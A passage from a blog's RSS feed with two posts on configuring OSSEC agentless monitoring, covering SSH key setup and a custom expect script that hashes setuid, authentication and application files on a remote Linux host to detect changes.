use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.

A summary of U.S. laws governing Cisco cryptographic products may be found at:

http://www.cisco.com/wwl/export/crypto/tool/stqrg.html

If you require further assistance please contact us by sending email to
export@cisco.com.

Cisco 3845 (revision 1.0) with 1007615K/40960K bytes of memory.
Processor board ID FTX1043A2CR
2 Gigabit Ethernet interfaces
1 ATM interface
1 Virtual Private Network (VPN) Module
4 CEM T1/E1 ports
DRAM configuration is 64 bits wide with parity enabled.
479K bytes of NVRAM.
492015K bytes of USB Flash usbflash0 (Read/Write)
62720K bytes of ATA System CompactFlash (Read/Write)

Configuration register is 0x2102


a.zfw.tss#exit
Connection to 172.17.0.1 closed by remote host.
Connection to 172.17.0.1 closed.

INFO: Finished.

</code></pre>

<p>In this example above the script would store the contents between &#8220;<code>STORE: now</code>&#8221; and &#8220;<code>INFO: Finished.</code>&#8220;.  If this is the first time that OSSEC agentless has run this command no alerts would be generated and the contents would have been saved for later comparisons.   If OSSEC agentless has a stored copy from a previous execution it will compare the files and if there are any differences it will generate an alert.</p>

<h4 id="agentless_scripts_periodic">Periodic Specification</h4>

<p>The periodic specification has more options and gives more control to the script writer on what actions OSSEC will take.  Once again <code>stdout</code> is used for communication so script writing is easy.</p>

<table>
<thead>
<tr>
  <th>Command</th>
  <th>Description</th>
</tr>
</thead>
<tbody>
<tr>
  <td>INFO:</td>
  <td>The string following INFO will be logged to <code>/var/ossec/logs/ossec.log</code> by OSSEC for debugging.</td>
</tr>
<tr>
  <td>ERROR:</td>
  <td>Error needs to be reported.  The string following this command is forwarded to the OSSEC manager, and the OSSEC process closes down the script.</td>
</tr>
<tr>
  <td>FWD:</td>
  <td>The string following FWD is a colon delimited list of stats on a given file.</td>
</tr>
</tbody>
</table>

<p>Example of real <code>FWD:</code> command.</p>

<pre><code>FWD: 19419:600:0:0:fb30de5b02029950ae05885a3d407c8c:017cd6118cdc166ee8eba8af1b7fdad6763203d3 ./.bash_history
</code></pre>

<p>The Fields break down in to the following</p>

<table>
<thead>
<tr>
  <th>Field</th>
  <th>Description</th>
</tr>
</thead>
<tbody>
<tr>
  <td><code>FWD:</code></td>
  <td>The OSSEC Command</td>
</tr>
<tr>
  <td><code>19419</code></td>
  <td>Total size of file, in bytes</td>
</tr>
<tr>
  <td><code>600</code></td>
  <td>Access rights of file in octal</td>
</tr>
<tr>
  <td><code>0</code></td>
  <td>User ID of file owner</td>
</tr>
<tr>
  <td><code>0</code></td>
  <td>Group ID of file owner</td>
</tr>
<tr>
  <td><code>fb30de5b02029950ae05885a3d407c8c</code></td>
  <td>MD5 Hash of file</td>
</tr>
<tr>
  <td><code>017cd6118cdc166ee8eba8af1b7fdad6763203d3</code></td>
  <td>SHA1 Hash of file</td>
</tr>
<tr>
  <td>./.bash_history</td>
  <td>Path and name of file</td>
</tr>
</tbody>
</table>

<p>Using this format OSSEC can store the information about a file and then in the future run compare that they are the same.  If for some reason they are not the same an alert will be generated.  Here is an example of a password change on a linux system:</p>

<pre><code>OSSEC HIDS Notification.
2009 Sep 21 15:19:00

Received From: (ssh_integrity_check_linux) root@172.17.20.20-&gt;syscheck
Rule: 550 fired (level 7) -&gt; "Integrity checksum changed."
Portion of the log(s):

Integrity checksum changed for: '/etc/shadow'
Old md5sum was: '0d92e12c92f3edcf9d8876ea57c5f677'
New md5sum is : '2bd51b61dea17c5682fb2c0cf4f92c63'
Old sha1sum was: '2270c03a920ef8dd50e11cefdef046a8660f7a29'
New sha1sum is : 'd9518ea9022b10d07f81925c6d7f2abb4364b548'

--END OF NOTIFICATION
</code></pre>

<h2 id="ssh_integrity_check_linux">Agentless Script: ssh_integrity_check_linux</h2>

<p>Now that we have an understanding of how agentless scripts communicate with the parent OSSEC preocess, let&#8217;s move on to a working example.  The OSSEC supplied script <code>ssh_integrity_check_linux</code> is a great place to start, so lets open it up and see what is going on.</p>

<pre><code>obsd46# cat /var/ossec/agentless/ssh_integrity_check_linux
 #!/usr/bin/env expect

 # @(#) $Id: ssh_integrity_check_linux,v 1.11 2009/06/24 17:06:21 dcid Exp $
 # Agentless monitoring
 #
 # Copyright (C) 2009 Trend Micro Inc.
 # All rights reserved.
 #
 # This program is a free software; you can redistribute it
 # and/or modify it under the terms of the GNU General Public
 # License (version 3) as published by the FSF - Free Software
 # Foundation.


 # Main script.
source "agentless/main.exp"


 # SSHing to the box and passing the directories to check.
if [catch {
    spawn ssh $hostname
} loc_error] {
    send_user "ERROR: Opening connection: $loc_error.\n"
    exit 1;
}


source $sshsrc
source $susrc

set timeout 600
send "echo \"INFO: Starting.\"; for i in `find $args 2&gt;/dev/null`;do tail \$i &gt;/dev/null 2&gt;&amp;1 &amp;&amp; 
md5=`md5sum \$i | cut -d \" \" -f 1` &amp;&amp; sha1=`sha1sum \$i | cut -d \" \" -f
 1` &amp;&amp; echo FWD: `stat --printf \"%s:%a:%u:%g\" \$i`:\$md5:\$sha1 \$i; done; exit\r"
send "exit\r"

expect {
    timeout {
        send_user "ERROR: Timeout while running commands on host: $hostname .\n"
        exit 1;
    }
    eof {
        send_user "\nINFO: Finished.\n"
        exit 0;
    }
}

exit 0;
</code></pre>

<p>The comments in the script hints to what is going on, but everything up to and including <code>set timeout 600</code> is related to setting up the <code>expect</code> functions and code for handling the <code>ssh</code> subprocess and connecting to the remote host.  I am not going to spend any time with this section, I am just going to make use of it.</p>

<p>The meat of what is getting processed on the remote end all happens in two lines.</p>

<pre><code>send "echo \"INFO: Starting.\"; for i in `find $args 2&gt;/dev/null`;do tail \$i &gt;/dev/null 2&gt;&amp;1 &amp;&amp; 
md5=`md5sum \$i | cut -d \" \" -f 1` &amp;&amp; sha1=`sha1sum \$i | cut -d \" \" -f
 1` &amp;&amp; echo FWD: `stat --printf \"%s:%a:%u:%g\" \$i`:\$md5:\$sha1 \$i; done; exit\r"
send "exit\r"
</code></pre>

<p>Let&#8217;s break this down to see what is happening.</p>

<p>The <code>send</code> command pushes the following string to the ssh subprocess which gets run on the remote end of the connection.  Before the script is sent to the remote host <code>expect</code> internally processes the string.  This includes searching for variables and removing any control characters.</p>

<p>The control characters are first taken into account, and in the case of our example all escaped special characters are processed.  <code>\"</code>, <code>\r</code>, and <code>\$</code> would be replaced with <code>"</code>, &#8220;<code>carriage return</code>&#8220;, and <code>&amp;</code> respectively.  The reason the escape characters are needed so that they will not interfere with <code>expects</code> own string processing and control.  We will need to handle control characters in this way when we begin writing our own script.</p>

<p>While special characters were being handled by <code>expect</code> it also looked for variables to replace, in this case it will find <code>$args</code> and replace it with what ever arguments were passed to the script by the OSSEC agentless process.  If we specified the following in <code>/var/ossec/etc/ossec.conf</code> the <code>$args</code> variable would be replaced with &#8220;<code>/bin /etc /sbin</code>&#8220;.</p>

<pre><code>  &lt;agentless&gt;
    &lt;type&gt;ssh_integrity_check_linux&lt;/type&gt;
    &lt;frequency&gt;3600&lt;/frequency&gt;
    &lt;host&gt;root@172.17.20.20&lt;/host&gt;
    &lt;state&gt;periodic&lt;/state&gt;
    &lt;arguments&gt;/bin /etc /sbin&lt;/arguments&gt;
  &lt;/agentless&gt;
</code></pre>

<p>Back to the commands that get run.  Once <code>expect</code> has completed replacement we are left with this command.</p>

<pre><code>echo "INFO: Starting."; for i in `find /bin /etc /sbin 2&gt;/dev/null`;do tail $i &gt;/dev/null 2&gt;&amp;1 &amp;&amp; 
md5=`md5sum $i | cut -d " " -f 1` &amp;&amp; sha1=`sha1sum $i | cut -d " " -f
 1` &amp;&amp; echo FWD: `stat --printf "%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit
exit
</code></pre>

<p>This script then goes and uses the Unix <code>find</code> command to locate all files in the specified path (from the arguments passed) and generates an OSSEC <code>FWD:</code> command for each one and prints it to <code>stdout</code>.  Making use of the commands <code>stat</code>, <code>md5sum</code>, and <code>sha1sum</code> to generate the data needed.  Here is an example of the output checking.</p>

<pre><code>spawn ssh root@172.17.20.20
Last login: Wed Nov  4 11:32:51 2009 from 172.17.20.131^M
[linux26 ~]# 
INFO: Started.
echo "INFO: Starting."; for i in `find {/bin /etc /sbin} 2&gt;/dev/null`;do tail $i &gt;/dev/null 2&gt;&amp;1 &amp;&amp; 
md5=`md5sum $i | cut -d " " -f 1` &amp;&amp; sha1=`sh a1sum $i | cut -d " " -f
 1` &amp;&amp; echo FWD: `stat --printf "%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit
INFO: Starting.
FWD: 833:644:0:0:4148adea745af5121963f6b731b60013:60877a6f6981b16c0d53d32bcd3f07d41cfb5bd4 /etc/modprobe.d/
glib2.sh
[...........SNIP............]
FWD: 1696:644:0:0:c2bd306b205ad9e81fb02ce6b225d384:5244d65815cb228a4fac7bc4c1c7774508fb7505 /etc/nsswitch.conf
FWD: 85179:644:0:0:8db574225cd1068b47e77ceccd96f8ff:b5ef6183b35ee9d1b66ed2cefe98003c5bd99192 /etc/sensors.conf
FWD: 49:644:0:0:52c3df2f1edf30ca3db82174be3a68d2:1934648f2429b70b1f729d343a6956fb0ea73136 /etc/php.d/imap.ini
FWD: 873:644:0:0:04559d1fe27ecd079b69df8b319f937e:e5cab1bf1f9e4bc4386309f4e00a9b7be3e543a2 /etc/php.d/memcache.ini
FWD: 59:644:0:0:94636ba6c4bac9d8d49d9de1a513ae0c:41d5164a2c6e332e40edf55c59a2d0df8a260964 /etc/php.d/pdo_mysql.ini
FWD: 49:644:0:0:917dbbafbfaaa20f660063d627123dae:0e829d4ffc69f58dc258510b4b8452412e31ccc5 /etc/php.d/json.ini
FWD: 0:644:0:0:d41d8cd98f00b204e9800998ecf8427e:da39a3ee5e6b4b0d3255bfef95601890afd80709 /etc/wvdial.conf
logout
Connection to 172.17.20.20 closed.

INFO: Finished.
</code></pre>

<h2 id="ssh_dmz_linux">Our own Agentless Script: ssh_dmz_linux</h2>

<p>Using the built in OSSEC agentless scripts are great, but sometimes we need more focused scanning and checking.  So let&#8217;s modify the <code>ssh_integrity_check_linux</code> for our environment.</p>

<p>The goals for this new script will be to watch for changes to files based on the following criteria:</p>

<ul>
<li>All setuid and setgid files</li>
<li>All files related to authentication (including .htaccess and ssh files)</li>
<li>All application specific files (apache, ssh)</li>
</ul>

<h4 id="finding_setuid_setgid">Finding all setuid and setgid files</h4>

<p>Let&#8217;s first start by identifying a method to locate all files with their setuid or setgid bits enabled.  To do this we will ssh to the host <code>172.17.20.20</code> and use <code>find</code> to locate the files.</p>

<pre><code>obsd46# sudo -u ossec ssh root@172.17.20.20
[linux26 ~]# find / -type f \( -perm -4000 -o -perm -2000 \) 
/sbin/umount.nfs
/sbin/netreport
/sbin/unix_chkpwd
/sbin/mount.nfs
/sbin/pam_timestamp_check
/sbin/mount.nfs4
/sbin/umount.nfs4
/bin/ping6
/bin/su
/bin/umount
/bin/ping
/bin/mount
/lib/dbus-1/dbus-daemon-launch-helper
/usr/libexec/openssh/ssh-keysign
/usr/libexec/utempter/utempter
/usr/sbin/usernetctl
/usr/sbin/postqueue
/usr/sbin/userhelper
/usr/sbin/userisdnctl
/usr/sbin/postdrop
/usr/sbin/suexec
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/locate
/usr/bin/wall
/usr/bin/sudoedit
/usr/bin/gpasswd
/usr/bin/lockfile
/usr/bin/newgrp
/usr/bin/write
/usr/bin/screen
/usr/bin/passwd
/usr/bin/chage
/usr/bin/sperl5.8.8
/usr/bin/crontab
/usr/bin/ssh-agent
</code></pre>

<h4 id="finding_app_files">Finding all files related to authentication and applications specific files</h4>

<p>Finding all files with setuid and setgid was simple, but finding all files related to authentication is more invloved. This of course will vary from system to system, but this should be good starting point.</p>

<pre><code>obsd46# sudo -u ossec ssh root@172.17.20.20
[linux26 ~]# find / \( -name ".ssh" -o -name "ssh" -o -name "sshd" -o -name "httpd" -o -name ".htaccess" 
-o -name "pam.d" \) -exec find {} \;
/var/www/html/admin/modules/framework/var/www/html/admin/modules/.htaccess
/etc/httpd
/etc/httpd/conf
/etc/httpd/conf.d
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/proxy_ajp.conf
/etc/httpd/conf.d/README
/etc/httpd/conf.d/ssl.conf
/etc/httpd/conf.d/welcome.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/conf/magic
/etc/httpd/logs
/etc/httpd/modules
/etc/httpd/run
/etc/logrotate.d/httpd
/etc/pam.d
/etc/pam.d/authconfig
[...................SNIP PAM Files.....................]
/etc/pam.d/system-config-network-cmd
/etc/pam.d/vsftpd
/etc/rc.d/init.d/httpd
/etc/rc.d/init.d/sshd
/etc/ssh
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/httpd
/root/.ssh
/root/.ssh/authorized_keys
/usr/bin/ssh
/usr/lib/httpd
/usr/lib/httpd/modules
/usr/lib/httpd/modules/libphp5.so
[...................SNIP Apache modules................]

/usr/lib/httpd/modules/mod_vhost_alias.so
/usr/sbin/httpd
/usr/sbin/sshd
/usr/src/tbm-pbxconfig-5.5.1/amp_conf/htdocs/admin/modules/framework/htdocs/admin/modules/.htaccess
/usr/src/tbm-pbxconfig-5.5.1/amp_conf/htdocs/admin/modules/.htaccess
/var/empty/sshd
/var/empty/sshd/etc
/var/empty/sshd/etc/localtime
/var/www/html/admin/modules/framework/var/www/html/admin/modules/.htaccess
/var/www/html/admin/modules/.htaccess
</code></pre>

<h4 id="merging_finds">Merging finds</h4>

<p>Now we have two basic <code>find</code> methods that identify the files we want to monitor for changes, but our finds were a little greedy so we should create a way to strip out unwanted files from the list.  As this is a unix system <code>egrep</code> is the king for finding or removing items from a list.  To simplify things we can use <code>egrep</code> with the <code>-v</code> command line argument which tells <code>egrep</code> <strong>NOT</strong> to print any matching items.</p>

<p>Just to make sure that we do not end up double processing files we can make use of the <code>sort</code> command with <code>-u</code> argument to remove any duplicates.</p>

<p>Here is how we would put together both <code>find</code>s, <code>egrep</code>, and <code>sort</code> to locate and filter what is needed.</p>

<pre><code>(find / -type f \( -perm -4000 -o -perm -2000 \) &amp;&amp; \find / \( -name ".ssh" -o -name "ssh" -o -name "sshd" 
-o -name "httpd" -o -name ".htaccess" -o -name "pam.d" \) -exec find {} \; ) 2&gt;/dev/null | egrep 
-v "known_hosts|moduli|var\/log|var\/lock" | sort -u
</code></pre>

<p>The above command we have found all files and paths that we would like to monitor, but this still needs to be integrated into a script on the OSSEC server.</p>

<h2 id="creating_ssh_dmz_linux">Creating ssh_dmz_linux</h2>

<p>We don&#8217;t want to make changes to <code>ssh_integrity_check_linux</code> directly so we will need to make a copy.</p>

<pre><code>obsd46# (cd /var/ossec/agentless &amp;&amp; cp ssh_integrity_check_linux ssh_dmz_linux)
</code></pre>

<p>Integrating our new command line into the script we must pay close attention to special characters that <code>expect</code> will process.  Due to this we will need to escape all <code>/</code> and <code>"</code> by proceeding them with <code>\</code>.   Once we are done escaping we just insert our new line in place of <code>find $args 2&gt;/dev/null</code> in our new file.</p>

<p>Here is what the completed script will look like.</p>

<pre><code>obsd56# cat /var/ossec/agentless/ssh_dmz_linux
 #!/usr/bin/env expect

 # @(#) $Id: ssh_integrity_check_linux,v 1.11 2009/06/24 17:06:21 dcid Exp $
 # Agentless monitoring
 #
 # Copyright (C) 2009 Trend Micro Inc.
 # All rights reserved.
 # 
 # This program is a free software; you can redistribute it
 # and/or modify it under the terms of the GNU General Public
 # License (version 3) as published by the FSF - Free Software
 # Foundation.


 # Main script.
source "agentless/main.exp"


 # SSHing to the box and passing the directories to check.
if [catch {
    spawn ssh $hostname
} loc_error] {
    send_user "ERROR: Opening connection: $loc_error.\n"
    exit 1;
}


source $sshsrc
source $susrc

set timeout 600
send "echo \"INFO: Starting.\"; for i in `(find / \\( -name \".ssh\" -o -name \"ssh\" -o -name \"sshd\" 
-o -name \"httpd\" -o -name \".htaccess\" -o -name \"pam.d\" \\) -exec find {} \\; &amp;&amp; find / -type f 
\\( -perm -4000 -o -perm -2000 \\); ) 2&gt;/dev/null | egrep -v \"known_hosts|moduli|var\\/log|var\\/lock\" | sort -u`;
do tail \$i &gt;/dev/null 2&gt;&amp;1 &amp;&amp; md5=`md5sum \$i | cut -d \" \" -f 1` &amp;&amp; sha1=`sha1sum \$i | cut -d \" \" 
-f 1` &amp;&amp; echo FWD: `stat --printf \"%s:%a:%u:%g\" \$i`:\$md5:\$sha1 \$i; done; exit\r"
send "exit\r"

expect {
    timeout {
        send_user "ERROR: Timeout while running commands on host: $hostname .\n"
        exit 1;
    }
    eof {
        send_user "\nINFO: Finished.\n"
        exit 0;
    }
}

exit 0;
</code></pre>

<h4 id="testing_ssh_dmz_linux">Testing</h4>

<p>Before we add this new script to OSSEC configuration we need to test it.</p>

<pre><code>obsd46# (cd /var/ossec &amp;&amp; sudo -u ossec ./agentless/ssh_dmz_linux root@172.17.20.20 )

ERROR: ssh_integrity_check &lt;hostname&gt; &lt;arguments&gt;
</code></pre>

<p>Due to not making use of the of the <code>$arg</code> variable in the way that <code>ssh_integrity_check_linux</code> wants use too, this caused this the problem above.  Solving this problem would require making changes to files that will effect other built in scripts.  So a quick solution is to just pass anything as an argument to the script.  This will have no effect on our script as we do not make use of the <code>$arg</code> variable.</p>

<pre><code>obsd46# (cd /var/ossec &amp;&amp; sudo -u ossec ./agentless/ssh_dmz_linux root@172.17.20.20 NOTUSED)
spawn ssh root@172.17.20.20
Last login: Wed Nov  4 13:46:32 2009 from 172.17.20.131^M
[linux26 ~]#  
INFO: Started.
echo "INFO: Starting."; for i in `(find / \( -name ".ssh" -o -name "ssh" -o -name "sshd" -o -name "httpd" 
-o -name ".htaccess" -o -name "pam.d" \)  -exec find {} \; &amp;&amp; find / -type f \( -perm -4000 -o -perm -2000 
\); ) 2&gt;/dev/null | egrep -v "known_hosts|moduli|var\/log|var\/lock"`;do tail $i &gt;/dev/null 2&gt;&amp;1 &amp;&amp;
 md5=`md5s ^Mum $i | cut -d " " -f 1` &amp;&amp; sha1=`sha1sum $i | cut -d " " -f 1` &amp;&amp; echo FWD: `stat --printf 
"%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit
INFO: Starting.
FWD: 14:775:100:101:3bc0a3e92f8170084dd102eda9a474b1:25a1783a3c6bdd9745ec245ec1bfa0414ee05d23 /var/www/html/admin/modules/.htaccessmodules/.htaccess
FWD: 3519:644:0:0:e4ca381035a34b7a852184cc0dd89baa:6e43d0b5a46ed5ba78da5c7e9dcf319b27d769e7 /var/empty/sshd/etc/localtime
FWD: 560:644:0:0:58370830ecfa056421ad21aff9c18905:d115bb5aeefaab97c53fbbd5df84ebcb9170d796 /etc/httpd/conf.d/php.conf
[...................SNIP.............................]
FWD: 392:644:0:0:e92bea7e9d70a9ecdc61edd7c0a2f59a:d77b61dac010c60589b4d8a2039e3b8a5bed18b2 /etc/httpd/conf.d/README
FWD: 70888:4711:0:0:9046bd13339e7ef22266067b633e601a:3fc41029ddb14fe4ed613f479fa9e89c944f04dd /usr/bin/sperl5.8.8
FWD: 315416:6755:0:0:4c63a9709fb7f0f97c30aa29d204859c:c379efa658de72866b8f6de5767906ff78d127b0 /usr/bin/crontab
FWD: 88964:2755:0:99:baf3ebef6377d6ef42858776c33621b0:62394bf57d18c3fd49adeb39a1da61661cabc3c8 /usr/bin/ssh-agent
logout
Connection to 172.17.20.20 closed.

INFO: Finished.

</code></pre>

<h4 id="going_live">Going live</h4>

<p>We have created a new OSSEC agentless script and I am going to enable this script using the <a href="http://bitbucket.org/jrossi/ossec-hids-tools/">ossec-hids-tools</a> that I introduced in my last post about ossec (<a href="/archives/2009/11/ossec-agentless-to-save-the-day/">OSSEC: Agentless to save the day</a>).   Also a restart of OSSEC will also be needed for the changes to take effect.</p>

<pre><code>obsd46# ossec-config --section agentless --add --host root@172.17.20.20 --type ssh_dmz_linux 
--state periodic --argv "NOTUSED"
obsd46# /var/ossec/bin/ossec-control restart                                                                                                        (root@jcli-1:/var/ossec)
Killing ossec-monitord .. 
Killing ossec-logcollector .. 
Killing ossec-remoted .. 
Killing ossec-syscheckd .. 
Killing ossec-analysisd .. 
Killing ossec-maild .. 
ossec-execd not running ..
Killing ossec-agentlessd .. 
OSSEC HIDS v2.2 Stopped
Starting OSSEC HIDS v2.2 (by Trend Micro Inc.)...
Started ossec-agentlessd...
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-remoted...
Started ossec-syscheckd...
Started ossec-monitord...
Completed.
</code></pre>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/11/ossec-agentless-scripts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSSEC: Agentless to save the day</title>
		<link>http://praetorianprefect.com/archives/2009/11/ossec-agentless-to-save-the-day/</link>
		<comments>http://praetorianprefect.com/archives/2009/11/ossec-agentless-to-save-the-day/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 23:04:21 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[agentless]]></category>
		<category><![CDATA[hids]]></category>
		<category><![CDATA[lids]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=1395</guid>
		<description><![CDATA[OSSEC is a Host Intrusion detection system (HIDS) in name, but in reality it is far more.  It's able to look for rootkits, monitor logs (LIDS), and even actively respond to defined events.  While all these features are great the unsung hero is agentless monitoring.]]></description>
			<content:encoded><![CDATA[<blockquote>
  <p>Lois, Clark Kent may seem like just a mild-mannered reporter, but listen, not only does he know how to treat his editor-in-chief with the proper respect, not only does he have a snappy, punchy prose style, but he is, in my forty years in this business, the fastest typist I&#8217;ve ever seen.</p>
  
  <p><code>Perry White</code></p>
</blockquote>

<p>Michael Starks from <a href="http://www.immutablesecurity.com/">Immutable Security</a> published the &#8220;Week of OSSEC&#8221; all last week (find their links at the end of article), and it was a great setup of posts.</p>

<p>With all the hard work done by Michael in his &#8220;Week of OSSEC&#8221;, I figured I should follow up with a few posts of my own about this great tool.  I am <strong>NOT</strong> going to do a week of posts, but will try to get as much information out as I can.</p>

<h3>OSSEC</h3>

<p><img src="http://praetorianprefect.com/wp-content/uploads/2009/11/Screen-shot-2009-11-02-at-8.06.14-PM.png" border="0" alt="Screen shot 2009-11-02 at 8.06.14 PM.png" width="66" height="64" /></p>

<p>OSSEC is a Host Intrusion Detection System (HIDS) in name, but in reality it is far more.  It&#8217;s able to look for rootkits, monitor logs (LIDS), and even actively respond to defined events.  While all these features are great, the unsung hero is agentless monitoring.</p>

<p>Agentless security monitoring is really a great feature that does not get explored often enough, so I am going to show how to get it up and running and then get it monitoring remote hosts.</p>

<h3 id="ossec-install">Installing OSSEC</h3>

<p>This is going to be one of the fastest OSSEC install instructions on the internet.  For full details the main <a href="http://www.ossec.net/main/documentation/">OSSEC website</a> which covers this topic with more detail.  Key things to note here is that I have installed it as a server.  I could have installed OSSEC locally and we would have still been able to do whatever was needed.</p>

<p>My install log for OSSEC 2.2 is <a title="install-ossec-v2.2.txt" href="http://praetorianprefect.com/wp-content/uploads/2009/10/install-ossec-v2.2.txt">here</a>.</p>

<h3 id="agentless-enable">Enabling agentless</h3>

<p>To make use of agentless security monitoring, it first needs to be enabled.  Full details also on the <a href="http://www.ossec.net/main/manual/manual-agentless-monitoring/">OSSEC webpage</a>.</p>

<h4>Agentless Requirements</h4>

<p>For most of the built-in agentless monitoring scripts, <code>expect</code> is needed to function.  In this example on OpenBSD 4.5, adding the <code>expect</code> package is simple with <code>pkg_add</code>.</p>

<pre><code>obsd46# pkg_add http://openbsd.mirror.frontiernet.net/pub/OpenBSD/4.5/packages/i386/expect-5.43.0p0-no_tk.tgz
tcl-8.4.19: complete
expect-5.43.0p0-no_tk: complete
--- tcl-8.4.19 -------------------
You may wish to add /usr/local/lib/tcl8.4/man to /etc/man.conf
</code></pre>

<h4>Turning on Agentless</h4>

<p>Now we need to enable agentless by running the following command:</p>

<pre><code>obsd46# /var/ossec/bin/ossec-control enable agentless
</code></pre>

<h4>Adding a host.</h4>

<p>We need to add a host to agentlessly monitor. If we were to authenticate using a password for host <code>172.17.20.20</code> we would use the following:</p>

<pre><code>obsd46# /var/ossec/agentless/register_host.sh add agentless@172.17.20.20
</code></pre>

<p>While using a password does work, the preferred method would be to use SSH keys to provide the access level needed.  To setup that method of access, you first need to create ssh keys for the user <code>ossec</code> which is the account the agentless scripts runs as.</p>

<pre><code>obsd46# sudo -u ossec ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/var/ossec/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /var/ossec/.ssh/id_rsa.
Your public key has been saved in /var/ossec/.ssh/id_rsa.pub.
The key fingerprint is:
b8:c3:47:9a:33:09:5c:eb:54:a0:82:39:a6:06:63:08 ossec@obsd45.ptnsecurity.com
The key's randomart image is:
+--[ RSA 2048]----+
|E     .          |
|oo   . .         |
|Bo. . . .        |
|=o o . +         |
|..  o + S        |
|.    = *         |
|      @ .        |
|       =         |
|                 |
+-----------------+
</code></pre>

<p>Now that the SSH keys are present, we can add the host without a password.  The special command line argument used with <code>register_host.sh</code> is <code>NOPASS</code> in all capitals, which will tell OSSEC supplied scripts to make use of SSH keys.</p>

<pre><code>obsd46# /var/ossec/agentless/register_host.sh add root@172.17.20.20 NOPASS
</code></pre>

<h4>Enabling SSH key on the host to be monitored.</h4>

<p>You will now need to securely get the contents of <code>/var/ossec/.ssh/id_rsa.pub</code> to 172.17.20.20.</p>

<p>Using SSH and the password for a single time will make this simple.  This will create the <code>/root/.ssh</code> if it is not already created, but might throw an error as it does if the directory is already present.  This is not a problem and can be ignored.</p>

<pre><code>obsd46# cat /var/ossec/.ssh/id_rsa.pub | ssh root@172.17.20.20 "( mkdir /root/.ssh/;  cat - &gt;&gt; /root/.ssh/authorized_keys )"
root@172.17.20.20's password:
mkdir: cannot create directory `/root/.ssh/': File exists
obsd46# ssh root@172.17.20.20 "cat  /root/.ssh/authorized_keys "
root@172.17.20.20's password:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzyTBo7CqkI0TISR9S+KPS/gYY60nkD7Qe8wTTXrAEFvPNFJ
NJJpVVKsij6zw86lvTZ6hx9ib1M+MXvt+70uF/z1hYwnYrczR2TR03Z5nwOUA9OK61nBWXVwCi9GsQs6Oeo
mY9vkBDoKzB52+TKKSk9ZoC+HYPiT5SaiHZvMOV7kWuwF67lnYwlG5FdkRdOiXp7DcRjje4/Hixg7RLLl7o
dEXpIakzGfalt3yQDmwvSUZhyg3OuoKimTeNiKU/jlHlmEPuDZpiQe6QhFH38EeEIZTdHsYITodl8sY+n9I
eNMalGIHPs+bph+qcK+6cOb1RGaeGqJBFjaqPUyismz0bw== ossec@obsd45.ptnsecurity.com
</code></pre>

<p>We can also verify that it worked with the following command.</p>

<pre><code>obsd46# sudo -u ossec ssh root@172.17.20.20
The authenticity of host '172.17.20.20 (172.17.20.20)' can't be established.
RSA key fingerprint is 14:cd:f2:e9:c3:5b:07:28:68:75:a7:b5:88:c2:6b:77.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.17.20.20' (RSA) to the list of known hosts.
Last login: Tue Oct  6 12:40:05 2009 from 172.17.20.154
[linux26.ptnsecurity.com ~]# exit
</code></pre>

<h4>Add the agentless host to ossec.conf</h4>

<p>While we have setup and prepared everything to allow agentless security monitoring of <code>172.17.20.20</code> we have not told ossec to make use of it.  To simplify adding agentless to the config, we are going to make use of the python library and tools I created <a href="http://bitbucket.org/jrossi/ossec-hids-tools/">ossec-hids-tools</a>.</p>

<p>First, let&#8217;s check to see what agentless hosts have been configured, and just like a good unix program, it should not output anything if nothing happens.</p>

<pre><code>obsd46# ossec-config --section agentless --show
</code></pre>

<p>Next, add our host to the configuration.  I am using the OSSEC supplied script <code>ssh_integrity_check_linux</code>.  This script will login to the remote host and send back to the OSSEC server via stdout an MD5 and SHA1 hash of every single file inside the paths specified in the arguments.  To demonstrate the output from the server, let&#8217;s test the script and review said output.</p>

<p>All testing of agentless scripts must be run from the directory <code>/var/ossec/</code> unless you compiled a different install location.</p>

<pre><code>obsd46# cd /var/ossec
obsd46# sudo -u ossec ./agentless/ssh_integrity_check_linux root@172.17.20.20 /etc
spawn ssh root@172.17.20.20
Last login: Mon Nov  2 17:53:23 2009 from 172.17.20.131
[tss-uvc-01v.ptn.local ~]#
INFO: Started.
